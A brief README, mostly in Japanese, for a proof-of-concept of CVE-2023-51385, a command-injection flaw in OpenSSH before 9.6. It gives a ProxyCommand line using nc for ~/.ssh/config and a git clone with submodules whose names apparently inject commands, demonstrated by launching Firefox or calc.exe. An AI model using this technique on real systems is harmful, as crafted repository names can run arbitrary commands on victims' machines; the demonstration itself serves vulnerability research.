CVE-2023-51385_poc-test

CVE-2023-51385 poc

OpenSSH ProxyCommand RCE poc

OpenSSH <9.6 コマンドインジェクションの脆弱性 poc 中国語

1.vim ~/.ssh/config または Windowsシステム上で C:/Users/username/.ssh/config を編集

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

2. git clone https://github.com/WLaoDuo/CVE-2023-51385_poc-test --recurse-submodules

この脆弱性を悪用してKali上でFirefoxを起動したり、Windows上でcalc.exeを起動したりするサブモジュール。

謝辞: